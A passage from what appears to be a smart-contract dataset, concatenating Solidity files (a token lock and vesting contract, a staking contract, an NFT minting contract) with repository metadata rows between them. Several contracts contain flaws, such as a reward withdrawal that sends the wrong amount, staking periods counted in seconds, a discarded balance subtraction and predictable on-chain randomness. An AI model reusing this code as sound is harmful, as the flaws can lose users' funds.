avail = avail.mul(percent).div(12).sub(teamUsed[_to]);
return avail ;
}
function fundAvailable(address _to) internal constant returns (uint256) {
require(fundLockTime[_to]>0);
//Cover the start time of the lock before the release is the issueDate
if(fundLockTime[_to] != issueDate)
{
fundLockTime[_to]= issueDate;
}
//The start time of the lock position
uint256 lockTime = fundLockTime[_to];
//The interval between the current time and the start time of the lockout
uint256 time = block.timestamp.sub(lockTime);
//Unlocked 25%
uint256 percent = 250;
//After more than 30 days, 75% of the minutes and 150 days of unlocking 5/1000 per day
if(time >= 30 days) {
percent = percent.add((((time.sub(30 days)).div (1 days)).add (1)).mul (5));
}
percent = percent > 1000 ? 1000 : percent;
uint256 avail = fundLocked[_to];
require(avail>0);
avail = avail.mul(percent).div(1000).sub(fundUsed[_to]);
return avail ;
}
function teamLock(address _to,uint256 _value) internal {
require(_value>0);
teamLocked[_to] = teamLocked[_to].add(_value);
teamReverse[_to] = teamReverse[_to].add(_value);
teamLockTime[_to] = block.timestamp; // Lock start time
}
function fundLock(address _to,uint256 _value) internal {
require(_value>0);
fundLocked[_to] =fundLocked[_to].add(_value);
fundReverse[_to] = fundReverse[_to].add(_value);
if(fundLockTime[_to] == 0)
fundLockTime[_to] = block.timestamp; // Lock start time
}
function teamLockTransfer(address _to, uint256 _value) internal returns (bool) {
//The remaining part
uint256 availReverse = balances[msg.sender].sub((teamLocked[msg.sender].sub(teamUsed[msg.sender]))+(fundLocked[msg.sender].sub(fundUsed[msg.sender])));
uint256 totalAvail=0;
uint256 availTeam =0;
if(issueDate==0)
{
totalAvail = availReverse;
}
else{
//the number of Tokens available for teamAccount'Locked part
availTeam = teamAvailable(msg.sender);
//the number of Tokens available for teamAccount
totalAvail = availTeam.add(availReverse);
}
require(_value <= totalAvail);
bool ret = super.transfer(_to,_value);
if(ret == true && issueDate>0) {
//If over the teamAccount's released part
if(_value > availTeam){
teamUsed[msg.sender] = teamUsed[msg.sender].add(availTeam);
teamReverse[msg.sender] = teamReverse[msg.sender].sub(availTeam);
}
//If in the teamAccount's released part
else{
teamUsed[msg.sender] = teamUsed[msg.sender].add(_value);
teamReverse[msg.sender] = teamReverse[msg.sender].sub(_value);
}
}
if(teamUsed[msg.sender] >= teamLocked[msg.sender]){
delete teamLockTime[msg.sender];
delete teamReverse[msg.sender];
}
return ret;
}
function teamLockTransferFrom(address _from,address _to, uint256 _value) internal returns (bool) {
//The remaining part
uint256 availReverse = balances[_from].sub((teamLocked[_from].sub(teamUsed[_from]))+(fundLocked[_from].sub(fundUsed[_from])));
uint256 totalAvail=0;
uint256 availTeam =0;
if(issueDate==0)
{
totalAvail = availReverse;
}
else{
//the number of Tokens available for teamAccount'Locked part
availTeam = teamAvailable(_from);
//the number of Tokens available for teamAccount
totalAvail = availTeam.add(availReverse);
}
require(_value <= totalAvail);
bool ret = super.transferFrom(_from,_to,_value);
if(ret == true && issueDate>0) {
//If over the teamAccount's released part
if(_value > availTeam){
teamUsed[_from] = teamUsed[_from].add(availTeam);
teamReverse[_from] = teamReverse[_from].sub(availTeam);
}
//If in the teamAccount's released part
else{
teamUsed[_from] = teamUsed[_from].add(_value);
teamReverse[_from] = teamReverse[_from].sub(_value);
}
}
if(teamUsed[_from] >= teamLocked[_from]){
delete teamLockTime[_from];
delete teamReverse[_from];
}
return ret;
}
function fundLockTransfer(address _to, uint256 _value) internal returns (bool) {
//The remaining part
uint256 availReverse = balances[msg.sender].sub((teamLocked[msg.sender].sub(teamUsed[msg.sender]))+(fundLocked[msg.sender].sub(fundUsed[msg.sender])));
uint256 totalAvail=0;
uint256 availFund = 0;
if(issueDate==0)
{
totalAvail = availReverse;
}
else{
require(now>issueDate);
//the number of Tokens available for mainFundAccount'Locked part
availFund = fundAvailable(msg.sender);
//the number of Tokens available for mainFundAccount
totalAvail = availFund.add(availReverse);
}
require(_value <= totalAvail);
bool ret = super.transfer(_to,_value);
if(ret == true && issueDate>0) {
//If over the mainFundAccount's released part
if(_value > availFund){
fundUsed[msg.sender] = fundUsed[msg.sender].add(availFund);
fundReverse[msg.sender] = fundReverse[msg.sender].sub(availFund);
}
//If in the mainFundAccount's released part
else{
fundUsed[msg.sender] = fundUsed[msg.sender].add(_value);
fundReverse[msg.sender] = fundReverse[msg.sender].sub(_value);
}
}
if(fundUsed[msg.sender] >= fundLocked[msg.sender]){
delete fundLockTime[msg.sender];
delete fundReverse[msg.sender];
}
return ret;
}
function fundLockTransferFrom(address _from,address _to, uint256 _value) internal returns (bool) {
//The remaining part
uint256 availReverse = balances[_from].sub((teamLocked[_from].sub(teamUsed[_from]))+(fundLocked[_from].sub(fundUsed[_from])));
uint256 totalAvail=0;
uint256 availFund = 0;
if(issueDate==0)
{
totalAvail = availReverse;
}
else{
require(now>issueDate);
//the number of Tokens available for mainFundAccount'Locked part
availFund = fundAvailable(_from);
//the number of Tokens available for mainFundAccount
totalAvail = availFund.add(availReverse);
}
require(_value <= totalAvail);
bool ret = super.transferFrom(_from,_to,_value);
if(ret == true && issueDate>0) {
//If over the mainFundAccount's released part
if(_value > availFund){
fundUsed[_from] = fundUsed[_from].add(availFund);
fundReverse[_from] = fundReverse[_from].sub(availFund);
}
//If in the mainFundAccount's released part
else{
fundUsed[_from] = fundUsed[_from].add(_value);
fundReverse[_from] = fundReverse[_from].sub(_value);
}
}
if(fundUsed[_from] >= fundLocked[_from]){
delete fundLockTime[_from];
}
return ret;
}
}
contract HitToken is Lock {
string public name;
string public symbol;
uint8 public decimals;
// Proportional accuracy
uint256 public precentDecimal = 2;
// mainFundPrecent
uint256 public mainFundPrecent = 2650;
//subFundPrecent
uint256 public subFundPrecent = 350;
//devTeamPrecent
uint256 public devTeamPrecent = 1500;
//hitFoundationPrecent
uint256 public hitFoundationPrecent = 5500;
//mainFundBalance
uint256 public mainFundBalance;
//subFundBalance
uint256 public subFundBalance;
//devTeamBalance
uint256 public devTeamBalance;
//hitFoundationBalance
uint256 public hitFoundationBalance;
//subFundAccount
address public subFundAccount;
//mainFundAccount
address public mainFundAccount;
function HitToken(string _name, string _symbol, uint8 _decimals, uint256 _initialSupply,address _teamAccount,address _subFundAccount,address _mainFundAccount,address _hitFoundationAccount) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
//Define a subFundAccount
subFundAccount = _subFundAccount;
//Define a mainFundAccount
mainFundAccount = _mainFundAccount;
totalSupply_ = _initialSupply * 10 ** uint256(_decimals);
//Calculate the total value of mainFund
mainFundBalance = totalSupply_.mul(mainFundPrecent).div(100* 10 ** precentDecimal) ;
//Calculate the total value of subFund
subFundBalance = totalSupply_.mul(subFundPrecent).div(100* 10 ** precentDecimal);
//Calculate the total value of devTeamBalance
devTeamBalance = totalSupply_.mul(devTeamPrecent).div(100* 10 ** precentDecimal);
//Calculate the total value of hitFoundationBalance
hitFoundationBalance = totalSupply_.mul(hitFoundationPrecent).div(100* 10 ** precentDecimal) ;
//Initially put the hitFoundationBalance into the hitFoundationAccount
balances[_hitFoundationAccount] = hitFoundationBalance;
//Initially put the devTeamBalance into the teamAccount
balances[_teamAccount] = devTeamBalance;
//Initially put the subFundBalance into the subFundAccount
balances[_subFundAccount] = subFundBalance;
//Initially put the mainFundBalance into the mainFundAccount
balances[_mainFundAccount]=mainFundBalance;
//Initially lock the team account
teamLock(_teamAccount,devTeamBalance);
}
function burn(uint256 _value) public onlyOwner returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[address(0)] = balances[address(0)].add(_value);
emit Transfer(msg.sender, address(0), _value);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
if(issueDate==0)
{
//the mainFundAccounts is not allowed to transfer before issued
require(msg.sender != mainFundAccount);
}
if(teamLockTime[msg.sender] > 0){
return super.teamLockTransfer(_to,_value);
}else if(fundLockTime[msg.sender] > 0){
return super.fundLockTransfer(_to,_value);
}else {
return super.transfer(_to, _value);
}
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
if(issueDate==0)
{
//the mainFundAccounts is not allowed to transfer before issued
require(_from != mainFundAccount);
}
if(teamLockTime[_from] > 0){
return super.teamLockTransferFrom(_from,_to,_value);
}else if(fundLockTime[_from] > 0){
return super.fundLockTransferFrom(_from,_to,_value);
}else{
return super.transferFrom(_from, _to, _value);
}
}
function mintFund(address _to, uint256 _value) public returns (bool){
require(msg.sender==mainFundAccount);
require(mainFundBalance >0);
require(_value >0);
if(_value <= mainFundBalance){
super.transfer(_to,_value);
fundLock(_to,_value);
mainFundBalance.sub(_value);
}
}
function issue() public onlyOwner returns (uint){
//Only one time
require(issueDate==0);
issueDate = now;
return now;
}
function() public payable{
revert();
}
}
| 222,102 | 13,929 |
54f5a761a8202c4c04dff51e049d760c4371cc2253eb48f3548d8eeba10342fb
| 17,133 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/d3/d356ec996de58c3a1df763b96997eb0cd41152e6_Staking.sol
| 3,422 | 13,434 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256){
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b,"Calculation error");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256){
// Solidity only automatically asserts when dividing by 0
require(b > 0,"Calculation error");
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256){
require(b <= a,"Calculation error");
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256){
uint256 c = a + b;
require(c >= a,"Calculation error");
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256){
require(b != 0,"Calculation error");
return a % b;
}
}
contract IToken {
function balanceOf(address) public pure returns (uint256);
function allowance(address, address) public pure returns (uint256);
function transfer(address, uint256) public pure returns (bool);
function transferFrom(address, address, uint256) public pure returns (bool);
function approve(address , uint256) public pure returns (bool);
}
contract Staking {
using SafeMath for uint256;
address private _owner; // variable for Owner of the Contract.
uint256 private _withdrawTime; // variable to manage withdraw time for Native Token
uint256 constant public PERIOD_SILVER = 30; // variable constant for time period managemnt
uint256 constant public PERIOD_GOLD = 60; // variable constant for time period managemnt
uint256 constant public PERIOD_PLATINUM = 90; // variable constant for time period managemnt
uint256 constant public REWARD_PERCENT_SILVER = 1332; // variable constant to manage eward percentage for silver
uint256 constant public REWARD_PERCENT_GOLD = 3203; // variable constant to manage reward percentage for gold
uint256 constant public REWARD_PERCENT_PLATINUM = 5347; // variable constant to manage reward percentage for platinum
// events to handle staking pause or unpause for Native token
event Paused();
event Unpaused();
function getowner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(),"You are not authenticate to make this transfer");
_;
}
function isOwner() internal view returns (bool) {
return msg.sender == _owner;
}
function transferOwnership(address newOwner) public onlyOwner returns (bool){
_owner = newOwner;
return true;
}
// constructor to declare owner of the contract during time of deploy
constructor(address owner) public {
_owner = owner;
}
// Interface declaration for contract
IToken itoken;
// function to set Contract Address for Token Transfer Functions
function setContractAddress(address tokenContractAddress) external onlyOwner returns(bool){
itoken = IToken(tokenContractAddress);
return true;
}
// function to add reward in contract
function addReward() external payable onlyOwner returns(bool){
_ownerAllowance = _ownerAllowance.add(msg.value);
return true;
}
// function to withdraw added eward in contract
function withdrawAddedReward(uint256 amount) external onlyOwner returns(bool){
require(amount < _ownerAllowance, "Value is not feasible, Please Try Again!!!");
_ownerAllowance = _ownerAllowance.sub(amount);
msg.sender.transfer(_ownerAllowance);
return true;
}
// function to get reward in contract
function getReward() public view returns(uint256){
return _ownerAllowance;
}
// function to pause staking
function pauseStaking() public onlyOwner {
stakingPaused = true;
emit Paused();
}
// function to unpause Staking
function unpauseStaking() public onlyOwner {
stakingPaused = false;
emit Unpaused();
}
// mapping for users with id => address Staking Address
mapping (uint256 => address) private _stakingAddress;
// mapping for user with address => id staking id
mapping (address => uint256[]) private _stakingId;
// mapping for users with id => Staking Time
mapping (uint256 => uint256) private _stakingStartTime;
// mapping for users with id => End Time
mapping (uint256 => uint256) private _stakingEndTime;
// mapping for users with id => Amount to keep track for amount of staked native token by user
mapping (uint256 => uint256) private _usersAmount;
// mapping for users with id => Status
mapping (uint256 => bool) private _transactionstatus;
// mapping to keep track of final withdraw value of staked native token
mapping(uint256=>uint256) private _finalStakeWithdraw;
// mapping to keep track total number of staking days
mapping(uint256=>uint256) private _totalDays;
// mapping for Native token deposited by user
mapping(address=>uint256) private _amountStakedByUser;
// variable to keep count of native token Staking
uint256 private _stakingCount = 0;
// variable to keep track on native token reward added by owner
uint256 private _ownerAllowance = 0;
// variable for native token time management
uint256 private _time;
// variable for native token staking pause and unpause mechanism
bool public stakingPaused = false;
// variable for total staked native token by user
uint256 public totalStakedAmount = 0;
// variable for total staked native token in contract
uint256 public totalStakesInContract = 0;
// modifier to check time and input value for Staking
modifier stakeCheck(uint256 timePeriod){
require(msg.value > 0, "Invalid Amount, Please Try Again!!! ");
require(timePeriod == PERIOD_SILVER || timePeriod == PERIOD_GOLD || timePeriod == PERIOD_PLATINUM, "Enter the Valid Time Period and Try Again !!!");
_;
}
// function to performs staking for user native token for a specific period of time
function stakeNativeToken(uint256 time) external payable stakeCheck(time) returns(bool){
require(stakingPaused == false, "Staking is Paused, Please try after staking get unpaused!!!");
_time = now + (time);
_stakingCount = _stakingCount + 1 ;
_totalDays[_stakingCount] = time;
_stakingAddress[_stakingCount] = msg.sender;
_stakingId[msg.sender].push(_stakingCount);
_stakingEndTime[_stakingCount] = _time;
_stakingStartTime[_stakingCount] = now;
_usersAmount[_stakingCount] = msg.value;
_amountStakedByUser[msg.sender] = _amountStakedByUser[msg.sender].add(msg.value);
_transactionstatus[_stakingCount] = false;
totalStakesInContract = totalStakesInContract.add(msg.value);
totalStakedAmount = totalStakedAmount.add(msg.value);
return true;
}
// function to get staking count for native token
function getStakingCount() public view returns(uint256){
return _stakingCount;
}
// function to get total Staked native token
function getTotalStakedAmount() public view returns(uint256){
return totalStakedAmount;
}
// function to calculate reward for the message sender for stake
function getRewardDetailsByStakingId(uint256 id) public view returns(uint256){
if(_totalDays[id] == PERIOD_SILVER) {
return (_usersAmount[id]*REWARD_PERCENT_SILVER/100000);
} else if(_totalDays[id] == PERIOD_GOLD) {
return (_usersAmount[id]*REWARD_PERCENT_GOLD/100000);
} else if(_totalDays[id] == PERIOD_PLATINUM) {
return (_usersAmount[id]*REWARD_PERCENT_PLATINUM/100000);
} else{
return 0;
}
}
// function for withdrawing staked Native Token
function withdrawStakedNativeToken(uint256 stakingId) public returns(bool){
require(_stakingAddress[stakingId] == msg.sender,"No staked token found on this address and ID");
require(_transactionstatus[stakingId] != true,"Either tokens are already withdrawn or blocked by admin");
if(_totalDays[stakingId] == PERIOD_SILVER){
require(now >= _stakingStartTime[stakingId], "Unable to Withdraw Stake amount before staking start time, Please Try Again Later!!!");
_transactionstatus[stakingId] = true;
if(now >= _stakingEndTime[stakingId]){
_finalStakeWithdraw[stakingId] = _usersAmount[stakingId].add(getRewardDetailsByStakingId(stakingId));
_stakingAddress[stakingId].transfer(_usersAmount[stakingId]);
itoken.transfer(msg.sender, getRewardDetailsByStakingId(stakingId));
totalStakesInContract = totalStakesInContract.sub(_usersAmount[stakingId]);
} else {
_finalStakeWithdraw[stakingId] = _usersAmount[stakingId];
_stakingAddress[stakingId].transfer(_finalStakeWithdraw[stakingId]);
totalStakesInContract = totalStakesInContract.sub(_usersAmount[stakingId]);
}
} else if(_totalDays[stakingId] == PERIOD_GOLD){
require(now >= _stakingStartTime[stakingId], "Unable to Withdraw Stake amount before staking start time, Please Try Again Later!!!");
_transactionstatus[stakingId] = true;
if(now >= _stakingEndTime[stakingId]){
_finalStakeWithdraw[stakingId] = _usersAmount[stakingId].add(getRewardDetailsByStakingId(stakingId));
_stakingAddress[stakingId].transfer(_usersAmount[stakingId]);
itoken.transfer(msg.sender, getRewardDetailsByStakingId(stakingId));
totalStakesInContract = totalStakesInContract.sub(_usersAmount[stakingId]);
} else {
_finalStakeWithdraw[stakingId] = _usersAmount[stakingId];
_stakingAddress[stakingId].transfer(_finalStakeWithdraw[stakingId]);
totalStakesInContract = totalStakesInContract.sub(_usersAmount[stakingId]);
}
} else if(_totalDays[stakingId] == PERIOD_PLATINUM){
require(now >= _stakingStartTime[stakingId], "Unable to Withdraw Stake amount before staking start time, Please Try Again Later!!!");
_transactionstatus[stakingId] = true;
if(now >= _stakingEndTime[stakingId]){
_finalStakeWithdraw[stakingId] = _usersAmount[stakingId].add(getRewardDetailsByStakingId(stakingId));
_stakingAddress[stakingId].transfer(_usersAmount[stakingId]);
itoken.transfer(msg.sender, getRewardDetailsByStakingId(stakingId));
totalStakesInContract = totalStakesInContract.sub(_usersAmount[stakingId]);
} else {
_finalStakeWithdraw[stakingId] = _usersAmount[stakingId];
_stakingAddress[stakingId].transfer(_finalStakeWithdraw[stakingId]);
totalStakesInContract = totalStakesInContract.sub(_usersAmount[stakingId]);
}
} else {
return false;
}
return true;
}
// function to get Final Withdraw Staked value for native token
function getFinalStakeWithdraw(uint256 id) public view returns(uint256){
return _finalStakeWithdraw[id];
}
// function to get total native token stake in contract
function getTotalStakesInContract() public view returns(uint256){
return totalStakesInContract;
}
// function to get Staking address by id
function getStakingAddressById(uint256 id) external view returns (address){
require(id <= _stakingCount,"Unable to reterive data on specified id, Please try again!!");
return _stakingAddress[id];
}
// function to get Staking id by address
function getStakingIdByAddress(address add) external view returns(uint256[]){
require(add != address(0),"Invalid Address, Pleae Try Again!!!");
return _stakingId[add];
}
// function to get Staking Starting time by id
function getStakingStartTimeById(uint256 id) external view returns(uint256){
require(id <= _stakingCount,"Unable to reterive data on specified id, Please try again!!");
return _stakingStartTime[id];
}
// function to get Staking End time by id
function getStakingEndTimeById(uint256 id) external view returns(uint256){
require(id <= _stakingCount,"Unable to reterive data on specified id, Please try again!!");
return _stakingEndTime[id];
}
// function to get Staking Total Days by Id
function getStakingTotalDaysById(uint256 id) external view returns(uint256){
require(id <= _stakingCount,"Unable to reterive data on specified id, Please try again!!");
return _totalDays[id];
}
// function to get Staked Native token by id
function getStakedNativeTokenById(uint256 id) external view returns(uint256){
require(id <= _stakingCount,"Unable to reterive data on specified id, Please try again!!");
return _usersAmount[id];
}
// function to get Staked Native token by address
function getStakedByUser(address add) external view returns(uint256){
require(add != address(0),"Invalid Address, Please try again!!");
return _amountStakedByUser[add];
}
// function to get lockstatus by id
function getLockStatus(uint256 id) external view returns(bool){
require(id <= _stakingCount,"Unable to reterive data on specified id, Please try again!!");
return _transactionstatus[id];
}
}
| 122,344 | 13,930 |
1814405ecd2caa951f025509cb3b2ad07b4b0be6a3345494b8b9563e77f4419f
| 13,247 |
.sol
|
Solidity
| false |
593908510
|
SKKU-SecLab/SmartMark
|
fdf0675d2f959715d6f822351544c6bc91a5bdd4
|
dataset/Solidity_codes_9324/0xf6b604b08b01e5cc9e49bc13faa3b871ea98d4c6.sol
| 3,619 | 13,047 |
pragma solidity 0.8.10;
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(address from, address to, uint256 tokenId) external;
function transferFrom(address from, address to, uint256 tokenId) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
interface CryptopunksInterface {
function punkIndexToAddress(uint index) external view returns(address);
}
interface WrappedPunksInterface {
function ownerOf(uint index) external view returns(address);
}
interface ERC721TokenReceiver {
function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes calldata _data) external returns(bytes4);
}
contract PunkwearTops is IERC721 {
event Mint(uint indexed index, address indexed minter, uint createdVia);
bytes4 internal constant MAGIC_ON_ERC721_RECEIVED = 0x150b7a02;
bool public metadataIsLocked;
bytes public constant contentHash = "0x31a9260a4f3b032c13a9b9c11164dcd8ade0f23a70ffcf3f98d1fc9b09e98522";
bytes32 internal _setOfIds;
bytes32 internal constant mask = hex"0000000000000000000000000000000000000000000000000000000000003fff";
uint public constant TOKEN_LIMIT = 10000;
uint public constant SALE_LIMIT = 9250;
uint public constant DEV_MAX = 750;
uint public devMints;
uint public constant MAX_MINTS_PER_CALL = 20;
mapping(bytes4 => bool) internal supportedInterfaces;
mapping (uint256 => address) internal idToOwner;
bool[10000] public punkIDsUsed;
mapping (uint256 => address) internal idToApproval;
mapping (address => mapping (address => bool)) internal ownerToOperators;
mapping(address => uint256[]) internal ownerToIds;
mapping(uint256 => uint256) internal idToOwnerIndex;
string internal _name = "Punkwear Tops";
string internal _symbol = "PWT";
string public baseURI = "https://www.punkwear.xyz/metadata/";
string public _contractURI = "ipfs://QmaZYMyb5dfajhSEL4BpzmVXyqgWqrELDL9jBmV77unb5b";
uint internal numTokens;
address internal punksContract = 0xb47e3cd837dDF8e4c57F05d70Ab865de6e193BBB;
address internal wrappedPunksContract = 0xb7F7F6C52F2e2fdb1963Eab30438024864c313F6;
address payable public owner;
uint public constant price = 0.04 ether;
uint internal nonce = 0;
uint[TOKEN_LIMIT] internal indices;
modifier onlyOwner() {
require(msg.sender == owner, "Only owner.");
_;
}
modifier canOperate(uint256 _tokenId) {
address tokenOwner = idToOwner[_tokenId];
require(tokenOwner == msg.sender || ownerToOperators[tokenOwner][msg.sender], "Cannot operate.");
_;
}
modifier canTransfer(uint256 _tokenId) {
address tokenOwner = idToOwner[_tokenId];
require(tokenOwner == msg.sender
|| idToApproval[_tokenId] == msg.sender
|| ownerToOperators[tokenOwner][msg.sender], "Cannot transfer.");
_;
}
modifier validNFToken(uint256 _tokenId) {
require(idToOwner[_tokenId] != address(0), "Invalid token.");
_;
}
constructor() {
supportedInterfaces[0x01ffc9a7] = true; // ERC165
supportedInterfaces[0x80ac58cd] = true; // ERC721
supportedInterfaces[0x780e9d63] = true; // ERC721 Enumerable
supportedInterfaces[0x5b5e139f] = true; // ERC721 Metadata
owner = payable(msg.sender);
}
function isContract(address _addr) internal view returns (bool addressCheck) {
addressCheck = _addr.code.length > 0;
}
function supportsInterface(bytes4 _interfaceID) external view override returns (bool) {
return supportedInterfaces[_interfaceID];
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes calldata _data) external override {
_safeTransferFrom(_from, _to, _tokenId, _data);
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external override {
_safeTransferFrom(_from, _to, _tokenId, "");
}
function transferFrom(address _from, address _to, uint256 _tokenId) external override canTransfer(_tokenId) validNFToken(_tokenId) {
address tokenOwner = idToOwner[_tokenId];
require(tokenOwner == _from, "Wrong from address.");
require(_to != address(0), "Cannot send to 0x0.");
_transfer(_to, _tokenId);
}
function approve(address _approved, uint256 _tokenId) external override canOperate(_tokenId) validNFToken(_tokenId) {
address tokenOwner = idToOwner[_tokenId];
require(_approved != tokenOwner);
idToApproval[_tokenId] = _approved;
emit Approval(tokenOwner, _approved, _tokenId);
}
function setApprovalForAll(address _operator, bool _approved) external override {
ownerToOperators[msg.sender][_operator] = _approved;
emit ApprovalForAll(msg.sender, _operator, _approved);
}
function balanceOf(address _owner) external view override returns (uint256) {
require(_owner != address(0));
return ownerToIds[_owner].length;
}
function ownerOf(uint256 _tokenId) external view override returns (address _owner) {
require(idToOwner[_tokenId] != address(0));
_owner = idToOwner[_tokenId];
}
function getApproved(uint256 _tokenId) external view override validNFToken(_tokenId) returns (address) {
return idToApproval[_tokenId];
}
function isApprovedForAll(address _owner, address _operator) external override view returns (bool) {
return ownerToOperators[_owner][_operator];
}
function _transfer(address _to, uint256 _tokenId) internal {
address from = idToOwner[_tokenId];
_clearApproval(_tokenId);
_removeNFToken(from, _tokenId);
_addNFToken(_to, _tokenId);
emit Transfer(from, _to, _tokenId);
}
function randomIndex() internal returns (uint) {
uint totalSize = TOKEN_LIMIT - numTokens;
uint index = uint(keccak256(abi.encodePacked(nonce, msg.sender, block.difficulty, block.timestamp))) % totalSize;
uint value = 0;
if (indices[index] != 0) {
value = indices[index];
} else {
value = index;
}
if (indices[totalSize - 1] == 0) {
indices[index] = totalSize - 1;
} else {
indices[index] = indices[totalSize - 1];
}
nonce++;
return value;
}
function getBoolean(uint256 _packedBools, uint256 _boolNumber) public pure returns(bool) {
uint256 flag = (_packedBools >> _boolNumber) & uint256(1);
return (flag == 1 ? true : false);
}
function mintWithPunks(bytes32[] memory _allIds, uint256 _numberOfPunks, uint256 _areWrappedBools, uint256 _additionalMints) external payable {
require(numTokens + _additionalMints + _numberOfPunks <= SALE_LIMIT, "Qty would exceed max supply");
for (uint i=0;i<_numberOfPunks;i++) {
if (i%18 == 0) {
_setOfIds = _allIds[i/18];
}
uint _punkId = uint16(bytes2((_setOfIds & mask) << 240));
require(_punkId >= 0 && _punkId < 10000, "Invalid punk index.");
require(!punkIDsUsed[_punkId], "Already minted with this punk");
punkIDsUsed[_punkId] = true;
if (!getBoolean(_areWrappedBools,i)) {
require(CryptopunksInterface(punksContract).punkIndexToAddress(_punkId) == msg.sender, "Not the owner of this punk.");
} else {
require(WrappedPunksInterface(wrappedPunksContract).ownerOf(_punkId) == msg.sender, "Not the owner of this punk.");
}
_mint(msg.sender, _punkId);
_setOfIds >>= 14;
}
if (_additionalMints>0) {
mint(_additionalMints);
}
}
function mint(uint _quantity) public payable {
require(numTokens + _quantity <= SALE_LIMIT, "Qty would exceed max supply");
require(_quantity <= MAX_MINTS_PER_CALL,"Max ");
require(msg.value == price*_quantity, "Incorrect funds");
for (uint i;i<_quantity;i++) {
_mint(msg.sender, 10000);
}
}
function _mint(address _to, uint createdVia) internal returns (uint) {
require(_to != address(0), "Cannot mint to 0x0.");
require(numTokens < TOKEN_LIMIT, "Token limit reached.");
uint id = randomIndex();
numTokens = numTokens + 1;
_addNFToken(_to, id);
emit Mint(id, _to, createdVia);
emit Transfer(address(0), _to, id);
return id;
}
function _addNFToken(address _to, uint256 _tokenId) internal {
require(idToOwner[_tokenId] == address(0), "Cannot add, already owned.");
idToOwner[_tokenId] = _to;
ownerToIds[_to].push(_tokenId);
idToOwnerIndex[_tokenId] = ownerToIds[_to].length-1;
}
function _removeNFToken(address _from, uint256 _tokenId) internal {
require(idToOwner[_tokenId] == _from, "Incorrect owner.");
delete idToOwner[_tokenId];
uint256 tokenToRemoveIndex = idToOwnerIndex[_tokenId];
uint256 lastTokenIndex = ownerToIds[_from].length-1;
if (lastTokenIndex != tokenToRemoveIndex) {
uint256 lastToken = ownerToIds[_from][lastTokenIndex];
ownerToIds[_from][tokenToRemoveIndex] = lastToken;
idToOwnerIndex[lastToken] = tokenToRemoveIndex;
}
ownerToIds[_from].pop();
}
function _safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes memory _data) private canTransfer(_tokenId) validNFToken(_tokenId) {
address tokenOwner = idToOwner[_tokenId];
require(tokenOwner == _from, "Incorrect owner.");
require(_to != address(0));
_transfer(_to, _tokenId);
if (isContract(_to)) {
bytes4 retval = ERC721TokenReceiver(_to).onERC721Received(msg.sender, _from, _tokenId, _data);
require(retval == MAGIC_ON_ERC721_RECEIVED);
}
}
function _clearApproval(uint256 _tokenId) private {
if (idToApproval[_tokenId] != address(0)) {
delete idToApproval[_tokenId];
}
}
function devMint(uint quantity, address recipient) external onlyOwner {
require(devMints + quantity <= DEV_MAX);
devMints = devMints + quantity;
for (uint i; i < quantity; i++) {
_mint(recipient, 10000);
}
}
function totalSupply() public view returns (uint256) {
return numTokens;
}
function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256) {
require(_index < ownerToIds[_owner].length);
return ownerToIds[_owner][_index];
}
function lockMetadata() external onlyOwner {
metadataIsLocked = true;
}
function setContractURI(string memory _newContractURI) external onlyOwner {
require(!metadataIsLocked,"Metadata is locked");
_contractURI = _newContractURI;
}
function name() external view returns (string memory) {
return _name;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function tokenURI(uint256 _tokenId) external view validNFToken(_tokenId) returns (string memory) {
return string(abi.encodePacked(baseURI, uint2str(_tokenId)));
}
function setBaseURI(string memory newBaseURI) external onlyOwner {
require(!metadataIsLocked,"Metadata is locked");
baseURI = newBaseURI;
}
function uint2str(uint256 _i) internal pure returns (string memory str) {
if (_i == 0) {
return "0";
}
uint256 tmp = _i;
uint256 length;
while (tmp != 0) {
length++;
tmp /= 10;
}
bytes memory bstr = new bytes(length);
uint256 k = length;
tmp = _i;
while (tmp != 0) {
bstr[--k] = bytes1(uint8(48 + tmp % 10));
tmp /= 10;
}
str = string(bstr);
}
function contractURI() external view returns (string memory) {
return _contractURI;
}
function withdraw() external onlyOwner {
owner.transfer(address(this).balance);
}
}
| 274,760 | 13,931 |
0763900d9dbbf41d50d7c2ba9e81b82cd4e94b284bf8f72411cf4459c83627c5
| 13,403 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xc0b1409a5c1a287250a3e974583d00a0010040e7.sol
| 2,740 | 9,808 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
